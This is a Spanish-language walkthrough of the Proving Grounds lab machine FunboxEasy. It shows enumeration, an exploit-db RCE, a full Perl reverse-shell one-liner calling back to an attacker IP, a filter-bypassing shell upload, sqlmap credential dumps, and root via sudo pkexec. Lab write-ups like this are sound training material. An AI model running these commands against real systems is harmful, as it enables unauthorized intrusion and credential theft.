> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/funboxeasy.md).

# FunboxEasy

Write-up de la máquina FunboxEasy de Proving Grounds #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHsoXtarKlRvcB1hKtBYN%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(3).png?alt=media&amp;token=e5b7a584-8cbc-4cd7-9545-8fc5918456cc" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.113.111
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fr26ibdCWUwR8G7ZuLgRg%2Fimage.png?alt=media&amp;token=185bb19a-6554-4850-a32b-228b2f47600c" alt=""><figcaption></figcaption></figure>

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -sVC -vvv 192.168.113.111
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FuooxI4ncQ7xx7Ev7qiav%2Fimage.png?alt=media&amp;token=6891dc06-2e7f-47f9-82d7-499dec5c820b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIZ9Ix2gK4tCdvDikNixM%2Fimage.png?alt=media&amp;token=44b415a8-23ea-48e0-99c4-e7107b5c23e8" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.41

#### Enumeración Web

Comenzamos viendo el contenido del puerto 80 en el navegador Web.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfpCs6DqqjpK0kQXerRrM%2Fimage.png?alt=media&amp;token=6c93b5d8-766b-4401-b0be-6394d9a067f6" alt=""><figcaption></figcaption></figure>

Vemos la página por defecto de un servidor Apache. Vamos a enumerar si existen directorios interesantes.&#x20;

```
dirsearch -u "192.168.113.111" -i200,301 -t 30
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fvv2EmJDdVOOUDSyniJzi%2Fimage.png?alt=media&amp;token=d2e2e0d5-ae5d-452b-ac27-53839086bfa8" alt=""><figcaption></figcaption></figure>

Tenemos un archivo robots.txt y tres directorios interesantes /admin, /secret y /store. Revisamos el directorio /store.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfcZXKmv0nXU72m0jdEWc%2Fimage.png?alt=media&amp;token=12d6c58e-6251-4d94-bbcb-b8b5cee9604c" alt=""><figcaption></figcaption></figure>

### Explotación&#x20;

#### Método 1 (vía RCE)

Buscando CSE bookstore en Google, obtenemos un resultado interesante, un [RCE no autenticado](https://www.exploit-db.com/exploits/47887).&#x20;

```
python3 47887.py http://192.168.113.111/store/ 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOq4fyjiAjMUdc9vWTT7i%2Fimage.png?alt=media&amp;token=661d2b62-95c2-45c8-9088-0e02c5fb362a" alt=""><figcaption></figcaption></figure>

Con la shell obtenida no podemos navegar correctamente. Vamos a enumerar que binarios están disponibles en la máquina para que podamos generar un shell útil.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVlruHDs1W9hoL6c7qhwl%2Fimage.png?alt=media&amp;token=28fecb86-deaf-40d8-a450-e2206a64f64d" alt=""><figcaption></figcaption></figure>

"perl" está disponible en la máquina, vamos a intentar utilizarlo para generar una shell.&#x20;

```
perl -e 'use Socket;$i="192.168.49.113";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
```

Al mismo tiempo, ponemos a la escucha un nc en el puerto 1234.

```
nc -lnvp 1234
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0Jjc5lUY0hiVyCi6R67y%2Fimage.png?alt=media&amp;token=67126b9b-a5c5-44c9-8591-20b93e688ccb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FC1U2sHGHwOLAyY8M0YMn%2Fimage.png?alt=media&amp;token=1bb045b6-142f-4661-8053-738b1ae77f7f" alt=""><figcaption></figcaption></figure>

Nos dirigimos al directorio /home para buscar usuarios del sistema. Encontramos un usuario "tony".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRAag9vNJ3xjsqVup3q4C%2Fimage.png?alt=media&amp;token=f7371016-41c3-4584-a067-58a1555b5d53" alt=""><figcaption></figcaption></figure>

Dentro de ese directorio tenemos un archivo "password.txt" que contiene tres posibles credenciales.&#x20;

Recordamos que en el escaneo de servicios inicial, teníamos un servicio SSH en el puerto 22. Vamos a tratar de iniciar sesión en la máquina víctima con estas credenciales.&#x20;

```
ssh tony@192.168.113.111
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWlbHYI0C0M2kTrefBj4G%2Fimage.png?alt=media&amp;token=eac25cf6-9eae-4315-8624-d54c02c69327" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxrzXcooOzwDtEpKbvQWC%2Fimage.png?alt=media&amp;token=2c1a543e-bf12-4131-bad9-e239e097f18c" alt=""><figcaption></figcaption></figure>

#### Método 2 (reverse shell en carga de archivos)

Navegando por /store, llegamos a un formulario de inicio de sesión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F14HYdCrdDNEu2YRpROT1%2Fimage.png?alt=media&amp;token=249fb995-c393-43ea-9176-2c4dec22cc32" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIBUZ1hoUE0d0gq0gZztx%2Fimage.png?alt=media&amp;token=a65b23c3-b097-4891-ac84-8165f6e5be60" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkXmjn0bfH13y4EuOQdzI%2Fimage.png?alt=media&amp;token=e58fcf6f-77ef-4839-b4e8-2fac8e6f30d8" alt=""><figcaption></figcaption></figure>

Vamos a probar credenciales básicas. Las credenciales admin:admin funcionan y tenemos acceso a la plataforma de subida de nuevos libros.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6wjaQ7Wsczrdh3CvCZWa%2Fimage.png?alt=media&amp;token=854485d6-4753-4079-83e1-b5e7c3d03b12" alt=""><figcaption></figcaption></figure>

Seleccionamos "Add new book", seleccionamos alguno de los títulos, editamos  y cargamos el archivo shell en la carga de archivos de imagen. Modificamos la shell para burlar el filtro de imagen.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FX7YB3jGZdst8yRlkFOQM%2Fimage.png?alt=media&amp;token=02bda959-06e2-4cc4-b51a-c0bd6940ffae" alt=""><figcaption></figcaption></figure>

Al mismo tiempo, ponemos a la escucha un netcat en el puerto 1337.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQMjRfOQERoUGYP4DJhgO%2Fimage.png?alt=media&amp;token=519ceee9-e998-4f55-820c-b54c63adcc60" alt=""><figcaption></figcaption></figure>

Y volvemos  a tener conexión en la máquina víctima.

#### Método 3 (inyección SQL)

Cuando entramos al catálogo de libros disponibles en el catálogo y seleccionamos uno de los ejemplares, vemos la siquiente URL.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FY9SamyxImt48oEBjk5kd%2Fimage.png?alt=media&amp;token=7a083797-b96c-4ee9-bb20-2958a4adea2b" alt=""><figcaption></figcaption></figure>

Vamos a probar si es vulnerable a SQLi.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHR6FrRFiiQF2W0QhGFMb%2Fimage.png?alt=media&amp;token=0ab18410-7c4b-4020-8b77-98959509c473" alt=""><figcaption></figcaption></figure>

Es vulnerable a SQLi. El siguiente paso será explotar esta vulnrabilidad. Para ello, utilizaremos la herramienta "sqlmap". Después de un momento de ejecución, obtenemos información interesante.

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0DHYwbY5FAXluHCD9moV%2Fimage.png?alt=media&amp;token=17867d6d-e9b8-4a01-ac2e-d824ec3ae4a8" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store --dump 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQzKcoCsCmT0mK3CE4weG%2Fimage.png?alt=media&amp;token=44b0ca4f-5d53-467e-8b44-a1166f1cdfc1" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store -T admin --dump
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwksQxsP0SkLs4XJ1XaZg%2Fimage.png?alt=media&amp;token=a8669bf2-d53f-4fad-9d36-aee408d3ba6a" alt=""><figcaption></figcaption></figure>

Con las credenciales encontradas podemos iniciar sesión en la sección en "/store/admin.php"

### Elevación de privilegios

Comenzamos enumerando si existe algún binario que podamos ejecutar como "root" sin contraseña.

```
sudo -l
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fmo1qUGiU4NnVcGiQtg9T%2Fimage.png?alt=media&amp;token=bb56215d-b627-438d-9dd7-e52286dce7c9" alt=""><figcaption></figcaption></figure>

El usuario "tony" puede lanzar múltiples ejecutables como "root" sin contraseñas. El más interesante, "/usr/bin/pkexec". Vamos a utilizar [GTFOBins](https://gtfobins.github.io/gtfobins/pkexec/#sudo), para buscar como elevar privilegios aprovechando esto.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDZXkHuxnu0RsdA85z2QF%2Fimage.png?alt=media&amp;token=68e286ea-d489-4033-b623-da480d348e64" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHwQIaMoUfTsQTxR2OIzq%2Fimage.png?alt=media&amp;token=36917dc5-387f-4eb8-9422-38affbe7efc2" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios máximos en la máquina objetivo. Ahora a por las flags.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FueWhzTVr2tixmxH1YNrU%2Fimage.png?alt=media&amp;token=e3b4b3e7-797c-4425-b9c9-60a120d6ca10" alt=""><figcaption><p>flag local.txt</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyIzh1r2m7RBw84FsMooD%2Fimage.png?alt=media&amp;token=cd8b85a1-038c-4350-82c1-285b2346cb3b" alt=""><figcaption><p>flag proof.txt</p></figcaption></figure>

Y ya tendríamos otra máquina acabada de Proving Grounds.&#x20;

{% embed url="<https://www.youtube.com/watch?v=TDx3zsWBKg4>" %}
